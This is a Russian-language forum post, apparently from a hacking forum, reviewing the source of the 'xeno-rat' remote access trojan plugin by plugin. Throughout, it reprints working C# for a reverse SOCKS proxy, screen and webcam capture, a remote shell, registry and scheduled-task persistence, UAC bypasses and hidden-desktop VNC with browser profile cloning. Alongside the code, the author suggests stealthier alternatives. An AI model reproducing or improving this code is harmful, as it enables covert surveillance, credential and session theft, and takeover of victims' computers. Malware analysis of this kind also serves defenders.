Это плагин, который просто создает обратный SOCK5 прокси и пересылает буферы размером в 4 килобайта между двумя сокетами.
C#:
private async Task RecvSendLoop(Socket remote_socket,
    Node subnode, int bufferSize)
{
    while (remote_socket.Connected && subnode.Connected())
    {
        try
        {
            await Task.WhenAny(
                Task.Run(() =>
                    remote_socket.Poll(1000, SelectMode.SelectRead)),
                Task.Run(() =>
                    subnode.sock.sock.Poll(1000, SelectMode.SelectRead)));
            if (remote_socket.Available > 0)
            {
                byte[] buffer = new byte[bufferSize];
                int bytesRead = await remote_socket.ReceiveAsync(
                    new ArraySegment<byte>(buffer), SocketFlags.None);
                if (bytesRead == 0)
                {
                    return;
                }

                await subnode.SendAsync(buffer.Take(bytesRead).ToArray());
            }

            if (subnode.sock.sock.Available > 0)
            {
                byte[] data = await subnode.ReceiveAsync();
                if ((await remote_socket.SendAsync(new
                    ArraySegment<byte>(data), SocketFlags.None)) == 0)
                {
                    return;
                }
            }
            await Task.Delay(100);
        }
        catch
        {
            return;
        }
    }
}

Плагин контролер экрана
Плагин в цикле производит снимки экрана, кодирует их в формате JPEG и отправляет на сервер, также дорисовывая на этом снимке иконку курсора (наверное, она необходима, чтобы, например, увидеть, что пользователь вводит на экранной клавиатуре, или для каких-то таких целей). Перед запуском с помощью функции SetProcessDpiAwareness из библиотеки shcore.dll устанавливается специальный флаг, то есть в теории проблем с DPI быть не должно. Однако раз в пол секунды отправлять снимок всего экрана - не очень эффективно. Для этого было бы хорошо использовать какой-то кодек (например, H.264 вроде есть в Microsoft Media Foundation) или свой формат, позволяющий передавать только измененные пиксели. Так нагрузка на сеть была бы минимальная, и, наверное, можно было бы получить видео с частотой кадров куда больше, чем два кадра в секунду.
C#:
public static byte[] TakeScreenshot(int quality,
    int screenIndex, bool captureCursor, double scaleImageSize = 1)
{
    Screen[] screens = Screen.AllScreens;

    if (screenIndex < 0 || screenIndex >= screens.Length)
    {
        Console.WriteLine("Invalid screen index.");
        return null;
    }

    Screen selectedScreen = screens[screenIndex];

    int screenLeft = (int)(selectedScreen.Bounds.Left);
    int screenTop = (int)(selectedScreen.Bounds.Top);
    int screenWidth = (int)(selectedScreen.Bounds.Width);
    int screenHeight = (int)(selectedScreen.Bounds.Height);
    Bitmap bitmap = new Bitmap(screenWidth,
        screenHeight, PixelFormat.Format24bppRgb);
    using (Graphics graphics = Graphics.FromImage(bitmap))
    {
        graphics.CopyFromScreen(screenLeft, screenTop,
            0, 0, bitmap.Size, CopyPixelOperation.SourceCopy);

        if (captureCursor)
        {
            CURSORINFO pci;
            pci.cbSize = Marshal.SizeOf(typeof(CURSORINFO));

            if (GetCursorInfo(out pci))
            {
                if (pci.flags == CURSOR_SHOWING)
                {
                    DrawIcon(graphics.GetHdc(),
                        pci.ptScreenPos.x - screenLeft,
                        pci.ptScreenPos.y - screenTop, pci.hCursor);
                    graphics.ReleaseHdc();
                }
            }
        }

        EncoderParameters encoderParams = new EncoderParameters(1);
        encoderParams.Param[0] = new EncoderParameter(
            System.Drawing.Imaging.Encoder.Quality, quality);

        ImageCodecInfo codecInfo = GetEncoderInfo(ImageFormat.Jpeg);
        if (scaleImageSize != 1)
        {
            Bitmap resized = new Bitmap(bitmap,
                new Size((int)(bitmap.Width*scaleImageSize),
                (int)(bitmap.Height * scaleImageSize)));
            bitmap.Dispose();
            bitmap = resized;
        }
        using (MemoryStream stream = new MemoryStream())
        {
            bitmap.Save(stream, codecInfo, encoderParams);
            bitmap.Dispose();
            return stream.ToArray();
        }
    }
}

Кроме отправки снимков экрана плагин позволяет симулировать нажатия клавиш мыши и клавиатуры. В частности, нажатия мышью симулируются через WinAPI-функцию mouse_event, а клавиатуры через keybd_event из системной библиотеки user32.dll.
C#:
public static void SimulateMouseClick(Point screenCoords)
{
    SetCursorPos(screenCoords.X, screenCoords.Y);

    mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, IntPtr.Zero);
    mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, IntPtr.Zero);
}

// ...

public static void SimulateKeyPress(int keyCode)
{
    // Simulate keydown
    keybd_event((byte)keyCode, 0, KEYEVENTF_KEYDOWN, 0);

    // Simulate keyup
    keybd_event((byte)keyCode, 0, KEYEVENTF_KEYUP, 0);
}

Плагин шелла

Плагин шелла запускает новый процесс cmd.exe или powershell.exe и перенаправляет ему потоки ввода/вывода (stdin, stdout и stderr) средствами дотнетов и класса Process. Метод подписывается на события вывода и просто отправляет серверу строки в кодировке UTF-8. Все это делается через удобные дотнетовский обвязки.
C#:
public async Task CreateProc(string path, Node node)
{
    process = new Process();
    process.StartInfo.FileName = path;
    process.StartInfo.RedirectStandardInput = true;
    process.StartInfo.RedirectStandardOutput = true;
    process.StartInfo.RedirectStandardError = true;
    process.StartInfo.CreateNoWindow = true;
    process.StartInfo.UseShellExecute = false;
    process.OutputDataReceived += async (sender, e) =>
    {
        if (e.Data != null)
        {
            await node.SendAsync(Encoding.UTF8.GetBytes(e.Data));
        }
    };

    process.ErrorDataReceived += async (sender, e) =>
    {
        if (e.Data !=null)
        {
            await node.SendAsync(Encoding.UTF8.GetBytes(e.Data));
        }
    };
    process.Start();
    process.BeginOutputReadLine();
    process.BeginErrorReadLine();
}

По поводу cmd.exe всё понятно, но зачем создавать новый процесс powershell.exe, когда интерпретатор PowerShell можно подгрузить себе в процесс через классы System.Management.Automation? Есть много примеров этого в разных утилитах для красного командовика, например Для просмотра ссылки Войди или Зарегистрируйся.
C#:
readonly Runspace _runspace;

public PS()
{
    _runspace = RunspaceFactory.CreateRunspace();
    _runspace.Open();
}

public string Exe(string cmd)
{
    try
    {
        var pipeline = _runspace.CreatePipeline();
        pipeline.Commands.AddScript(cmd);
        pipeline.Commands.Add("Out-String");
        var results = pipeline.Invoke();
        var stringBuilder = new StringBuilder();
        foreach (var obj in results)
        {
            foreach (var line in obj.ToString().Split(new[]
                { "\r\n", "\r", "\n" }, StringSplitOptions.None))
            {
                stringBuilder.AppendLine(line.TrimEnd());
            }
        }
        return stringBuilder.ToString();
    }
    catch (Exception e)
    {
        var errorText = e.Message + "\n";
        return (errorText);
    }
}

Плагин стартап

Плагин использует методы из реализованного в клиенте класса Utils для организации автозапуска в операционной системе. Если есть права администратора, то создается задача планировщика системы через запуск schtasks.exe. Это довольно палевно, наверное, в этом плане было бы лучше воспользоваться COM-интерфейсом ITaskScheduler, но имеем то, что имеем. Если прав администратора нет, то просто создается значение к ключе Run текущего пользователя. Что тоже довольно примитивно, и мне бы, конечно, хотелось увидеть менее очевидные автозапуски, но окей.
C#:
public async static Task<bool> AddToStartupNonAdmin(string executablePath,
    string name= "XenoUpdateManager")
{
    return await Task.Run(() =>
    {
        string keyPath = @"SOFTWARE\Microsoft\Windows\CurrentVersion\Run";
        try
        {
            using (RegistryKey key =
                RegistryKey.OpenBaseKey(RegistryHive.CurrentUser,
                RegistryView.Registry64).OpenSubKey(keyPath, true))
            {
                key.SetValue(name, "\"" + executablePath + "\"");
            }
            return true;
        }
        catch
        {
            return false;
        }
    });
}

Плагин систем павер
Предельно простой плагин, который умеет выключать и перезапускать компьютер через команду shutdown. Я бы, наверное, сделал бы это через вызов функции ExitWindowsEx из системной библиотеки user32.dll, но так тоже должно работать, хоть и более палевно.
C#:
private void RestartComputer()
{
    Process.Start("shutdown", "/r /t 0");
}

private void ShutdownComputer()
{
    Process.Start("shutdown", "/s /t 0");
}
public async Task Run(Node node)
{
    await node.SendAsync(new byte[] { 3 });//indicate that it has connected
    byte[] data = await node.ReceiveAsync();
    int opcode = data[0];
    if (opcode == 1)
    {
        ShutdownComputer();
    }
    else if (opcode == 2)
    {
        RestartComputer();
    }
    await Task.Delay(2000);
}

Плагин обхода UAC

Этот плагин может использовать несколько методов обхода UAC для запуска ратника от прав администратора. Для того, чтобы рассматривать каждый из них подробно, нужно пилить отдельный материал. Методов обхода UAC сравнительно много и каждый из них стоит оценивать, исходя из антивируса и других средств защиты. Поэтому здесь я просто ограничусь перечислением реализованных в плагине методов и придиркой о том, что в данном фрагменте куча неоправданно дублированного кода.
C#:
if (data[0] == 1)
{
    string path = System.Reflection.Assembly.GetEntryAssembly().Location;
    CmstpHelper.Kill();
    if (CmstpHelper.Run($"cmd /c start \"\"\"\"\" \"\"{path}\"\"\""))
    {
        await node.SendAsync(new byte[] { 1 });
    }
    else
    {
        await node.SendAsync(new byte[] { 0 });
    }
    //cmstp
}
else if (data[0] == 2)
{
    string path = System.Reflection.Assembly.GetEntryAssembly().Location;
    if (await WinDirSluiHelper.Run(path))
    {
        await node.SendAsync(new byte[] { 1 });
    }
    else
    {
        await node.SendAsync(new byte[] { 0 });
    }
}
else if (data[0] == 3)
{
    string path = System.Reflection.Assembly.GetEntryAssembly().Location;
    if (await FodHelper.Run($"\"{path}\""))
    {
        await node.SendAsync(new byte[] { 1 });
    }
    else
    {
        await node.SendAsync(new byte[] { 0 });
    }
}
else if (data[0] == 4)
{
    using (Process configTool = new Process())
    {
        try
        {
            configTool.StartInfo.FileName =
                System.Reflection.Assembly.GetEntryAssembly().Location;
            configTool.StartInfo.Verb = "runas";
            configTool.Start();
            await node.SendAsync(new byte[] { 1 });
        }
        catch
        {
            await node.SendAsync(new byte[] { 0 });
        }
    }
}
else if (data[0] == 5)
{
    try
    {       
        SystemUtility.ExecuteProcessUnElevated(
            System.Reflection.Assembly.GetEntryAssembly().Location,
            "", Directory.GetCurrentDirectory());
        await node.SendAsync(new byte[] { 1 });
    }
    catch
    {
        await node.SendAsync(new byte[] { 0 });
    }
}

Плагин вебкама

Плагин получает кадры с веб камеры пользователя с помощью библиотеки AForge, исходный код который включен в проект плагина. Аналогично с плагином контролером экрана, картинка с камеры кодируется в формат JPEG и передается серверу. Конечно же, тут будет ровно такая же претензия о неоптимальности передачи JPEG по сети, как и в предыдущем случае. Но в этом случае количество кадров будет уже определяться библиотекой.
C#:
public async void Capture(object sender, NewFrameEventArgs eventArgs)
{
    if (playing)
    {
        byte[] frameBytes;
        using (var stream = new System.IO.MemoryStream())
        {
            var qualityParam =     new EncoderParameter(
                System.Drawing.Imaging.Encoder.Quality, quality);
            var jpegEncoder = GetEncoderInfo(ImageFormat.Jpeg);

            var encoderParams = new EncoderParameters(1);
            encoderParams.Param[0] = qualityParam;

            eventArgs.Frame.Save(stream,
                jpegEncoder, encoderParams);
            frameBytes = stream.ToArray();
        }
        if (ImageNode != null || frameBytes == null)
        {
            await ImageNode.SendAsync(frameBytes);
        }
    }
}

Плагин Хованского (HVNC)

На сладенькое я оставил плагин, реализующий так любимый всеми HVNC. Сначала плагин инициализирует три отдельных обработчика с сами за себя говорящими названиями, передавая туда принятое имя для создания нового отдельного рабочего стола. Рабочие столы в Венде - очень странный предмет. Удивительным образом, если какая-то программа создает отдельный рабочий стол и начинает на нем открывать окна, то пользователь, не переключаясь на этот новый рабочий стол, не сможет увидеть созданных на нем окон. И собственно этой странной фичей часто пользуются для организации HVNC.
C#:
string DesktopName=Encoding.UTF8.GetString(await node.ReceiveAsync());
ImageHandler = new Imaging_handler(DesktopName);
InputHandler = new input_handler(DesktopName);
ProcessHandler = new Process_Handler(DesktopName);

Непосредственное создание рабочего стола происходит в конструкторе класса Imaging_handler, если, конечно, рабочий стол с таким именем еще не существует. Конструктор input_handler идентичен этому конструктору, зачем так было делать, совсем мне не понятно. Можно было бы один раз создать или открыть хендл рабочего стола и передать его во все три класса. Если по какой-то причине каждому из классов прям так нужно держать свой отдельный хендл, то достаточно было реализовать создание рабочего стола в первом из классов. Ну ладно, для открытия или создания нового рабочего стола используются WinAPI-функции OpenDesktop и CreateDesktop соответственно.
C#:
public Imaging_handler(string DesktopName)
{
    IntPtr Desk = OpenDesktop(DesktopName,
        0, true, (uint)DESKTOP_ACCESS.GENERIC_ALL);
    if (Desk == IntPtr.Zero)
    {
        Desk = CreateDesktop(DesktopName, IntPtr.Zero,
            IntPtr.Zero, 0, (uint)DESKTOP_ACCESS.GENERIC_ALL,
            IntPtr.Zero);
    }
    Desktop=Desk;
}

//...

public input_handler(string DesktopName)
{
    this.DesktopName = DesktopName;
    IntPtr Desk = OpenDesktop(DesktopName,
        0, true, (uint)DESKTOP_ACCESS.GENERIC_ALL);
    if (Desk == IntPtr.Zero)
    {
        Desk = CreateDesktop(DesktopName, IntPtr.Zero,
            IntPtr.Zero, 0, (uint)DESKTOP_ACCESS.GENERIC_ALL,
            IntPtr.Zero);
    }
    Desktop = Desk;
}

Плагин принимает большое количество команд от сервера, как не запутаться в этих значениях при таком их количестве, я не знаю, ради всего святого просто делайте себе enum с этими значениями. Как видно из кода плагин может включать и отключать передачу видео, изменять качество, симулировать пользовательский ввод, запускать или же "клонировать" (что бы это не значало) некоторые приложения.
C#:
if (data[0] == 0)
{
    playing = true;
}
else if (data[0] == 1)
{
    playing = false;
}
else if (data[0] == 2)
{
    quality = node.sock.BytesToInt(data,1);
}
else if (data[0] == 3)
{
    uint msg = (uint)node.sock.BytesToInt(data,1);
    IntPtr wParam = (IntPtr)node.sock.BytesToInt(data, 5);
    IntPtr lParam = (IntPtr)node.sock.BytesToInt(data, 9);
    new Thread(() => InputHandler.Input(msg, wParam, lParam)).Start();
}
else if (data[0] == 4)
{
    ProcessHandler.StartExplorer();
}
else if (data[0] == 5)
{
    ProcessHandler.CreateProc(Encoding.UTF8.GetString(data,1,data.Length-1));
}
else if (data[0] == 6)
{
    do_browser_clone = true;
}
else if (data[0] == 7)
{
    do_browser_clone = false;
}
else if (data[0] == 8)
{ //start chrome
    if (do_browser_clone && !has_clonned_chrome)
    {
        has_clonned_chrome = true;
        HandleCloneChrome();
    }
    else
    {
        ProcessHandler.StartChrome();
    }
}
else if (data[0] == 9)
{ //start firefox
    if (do_browser_clone && !has_clonned_firefox)
    {
        has_clonned_firefox = true;
        HandleCloneFirefox();
    }
    else
    {
        ProcessHandler.StartFirefox();
    }
}
else if (data[0] == 10)
{ //start edge
    if (do_browser_clone && !has_clonned_edge)
    {
        has_clonned_edge = true;
        HandleCloneEdge();
    }
    else
    {
        ProcessHandler.StartEdge();
    }
}
else if (data[0] == 11)
{ //start edge
    if (do_browser_clone && !has_clonned_opera)
    {
        has_clonned_opera = true;
        HandleCloneOpera();
    }
    else
    {
        ProcessHandler.StartOpera();
    }
}
else if (data[0] == 12)
{ //start edge
    if (do_browser_clone && !has_clonned_operagx)
    {
        has_clonned_operagx = true;
        HandleCloneOperaGX();
    }
    else
    {
        ProcessHandler.StartOperaGX();
    }
}
else if (data[0] == 13)
{ //start edge
    if (do_browser_clone && !has_clonned_brave)
    {
        has_clonned_brave = true;
        HandleCloneBrave();
    }
    else
    {
        ProcessHandler.StartBrave();
    }
}

Запуск процессов на отдельном созданном ранее рабочем столе реализован через WinAPI-функцию CreateProcess, что вполне логично. Я бы хотел здесь увидеть возврат хендла созданного процесса, чтобы потом с его помощью можно было бы завершать процессы. На всякий случай, у плагина должна быть возможность автоматом завершать созданные им процессы, но здесь это, судя по всему, не предусмотрено. Для указания, на каком именно рабочем столе запускать новый процесс, имя рабочего стола пихается в структуру STARTUPINFO.
C#:
public bool CreateProc(string filePath)
{
    STARTUPINFO si = new STARTUPINFO();
    si.cb = Marshal.SizeOf(si);
    si.lpDesktop = DesktopName;
    PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
    bool resultCreateProcess = CreateProcess(
        null,
        filePath,
        IntPtr.Zero,
        IntPtr.Zero,
        false,
        48,
        IntPtr.Zero,
        null,
        ref si,
        ref pi);
    return resultCreateProcess;
}

Запуск различных процессов построен предельно похоже друг на друга, но при этом довольно своеобразно. Я бы ни в коим случае не стал создавать для профиля браузера папку в корне диска С, не знаю, какого это для обычного пользователя, но я бы скорее всего быстро заметил, что у меня в корне диска появилась странная папка. Может, это только мне бы глаза резало, а всем остальным норм, напишите в комментариях.
C#:
public bool StartChrome()
{
    string dataDir = @"C:\ChromeAutomationData";
    string path = getChromePath();
    if (path == null || !File.Exists(path))
    {
        return false;
    }
    return CreateProc("\"" + path + "\"" + " --no-sandbox " +
        "--allow-no-sandbox-job --disable-gpu --user-data-dir="
        + dataDir);
}

Под "клонированием" же понимается дублирования папки профиля браузера в ту самую папку в корне диска С. Асинхронное копирование директории особого интереса не представляет, там просто копируются файлы и папки.
C#:
public async Task<bool> CloneChrome()
{
    try
    {
        string dataDir = @"C:\ChromeAutomationData";
        string source =
            $@"C:\Users\{Environment.UserName}\" +
            "AppData\Local\Google\Chrome\User Data";
        if (Directory.Exists(dataDir))
        {
            await Task.Run(() => Directory.Delete(dataDir, true));
            Directory.CreateDirectory(dataDir);
        }
        else
        {
            Directory.CreateDirectory(dataDir);
        }
        await CopyDirAsync(source, dataDir);
        return true;

    }
    catch { }
    return false;
}

Обработка пользовательского ввода происходит в методе Input класса input_handler. Функция слишком большая, чтобы рассматривать ее целиком, но в общем отмечу, что часто используется WinAPI-функция PostMessage. Таким образом, например, обрабатывается нажатие левой кнопки мыши.
C#:
else if (msg == WM_LBUTTONDOWN)
{
    lmouseDown = true;
    hResMoveWindow = IntPtr.Zero;

    RECT startButtonRect;
    IntPtr hStartButton = FindWindow("Button", null);
    GetWindowRect(hStartButton, out startButtonRect);
    if (PtInRect(ref startButtonRect, point))
    {
        PostMessage(hStartButton, BM_CLICK,
            IntPtr.Zero, IntPtr.Zero);
        return;
    }
    else
    {
        StringBuilder windowClass = new StringBuilder(MAX_PATH);
        RealGetWindowClass(hWnd, windowClass, MAX_PATH);

        if (windowClass.ToString() == "#32768")
        {
            IntPtr hMenu = GetSubMenu(hWnd, 0);
            int itemPos = MenuItemFromPoint(IntPtr.Zero,
                hMenu, point);
            int itemId = GetMenuItemID(hMenu, itemPos);
            PostMessage(hWnd, 0x1E5, new IntPtr(itemPos),
                IntPtr.Zero);
            PostMessage(hWnd, WM_KEYDOWN, new IntPtr(VK_RETURN),
                IntPtr.Zero);
            return;
        }
    }
}

Снятие экрана происходит в классе Imaging_handler, в частности для копирования пикселей окна используется функция PrintWindow. Обратите внимание на nflag, автор знает, что это может не заработать на операционных системах раньше Windows 10 из-за такого флага, но вовсе не стесняется этого.
C#:
private bool DrawApplication(IntPtr hWnd, Graphics ModifiableScreen, IntPtr DC)
{
    RECT r;
    bool returnValue = false;
    GetWindowRect(hWnd, out r);

    float scalingFactor = GetScalingFactor();
    IntPtr hDcWindow = CreateCompatibleDC(DC);
    IntPtr hBmpWindow = CreateCompatibleBitmap(DC,
        (int)((r.Right - r.Left) * scalingFactor),
        (int)((r.Bottom - r.Top) * scalingFactor));

    SelectObject(hDcWindow, hBmpWindow);
    uint nflag = 2; //0, in windows below 8.1 this way
                    // not work and needs to be 0
    if (PrintWindow(hWnd, hDcWindow, nflag))
    {
        try
        {
            Bitmap processImage = Bitmap.FromHbitmap(hBmpWindow);
            ModifiableScreen.DrawImage(processImage,
                new Point(r.Left, r.Top));
            processImage.Dispose();
            returnValue = true;
        }
        catch
        {

        }
    }
    DeleteObject(hBmpWindow);
    DeleteDC(hDcWindow);
    return returnValue;
}

Отрисованные окна опять же отправляются в виде картинок в формате JPEG (с той же частотой 2 кадра в секунду), недостаток этого подхода мы с Вами уже обсуждали ранее.
C#:
Bitmap img = ImageHandler.Screenshot();
EncoderParameters encoderParams = new EncoderParameters(1);
encoderParams.Param[0] =
    new EncoderParameter(
    System.Drawing.Imaging.Encoder.Quality, quality);

ImageCodecInfo codecInfo = GetEncoderInfo(ImageFormat.Jpeg);
byte[] data;
using (MemoryStream stream = new MemoryStream())
{
    img.Save(stream, codecInfo, encoderParams);
    data= stream.ToArray();
}
await ImageNode.SendAsync(data);

Заключение

В заключении этого материала нужно сделать какие-то выводы, но после описания такого большого количества кода даже не знаю, что сказать. По итогу проект ощущается каким-то спорным:
  • С одной стороны релиз таких исходников в публичный доступ подорвал жопы всяческим журналистам, но вроде бы никакого существенного переворота мира информационной безопасности не произошло.
  • С одной стороны проект действительно обладает большим количеством функционала, но некоторые алгоритмы реализованы не то чтобы хорошо, а некоторые просто отсутствуют.
  • С одной стороны весь описанный функционал уже был реализован в различных ратниках и стиллерах, давно доступных в интернетах в виде исходников, но довольно удобно все алгоритмы читать и описывать из одного и того же места.
  • С одной стороны я написал кучу букв про этот проект и, читая эту кучу букв, мне кажется, что получился весьма информативный и интересный разбор, но с другой стороны я просто заебался его писать.
В общем, пишите в комментариях на нашем уютном XSS.is, что вы думаете о проекте и его функционале. Если что-то из функционала по какой-то причине всё ещё плохо понятно, не стесняйтесь спрашивать .

Спасибо за внимание, надеюсь, что вам было интересно!

by: DildoFagins
 

Вложения

  • xeno-rat.pdf
    1 MB · Просмотры: 1
Activity
So far there's no one here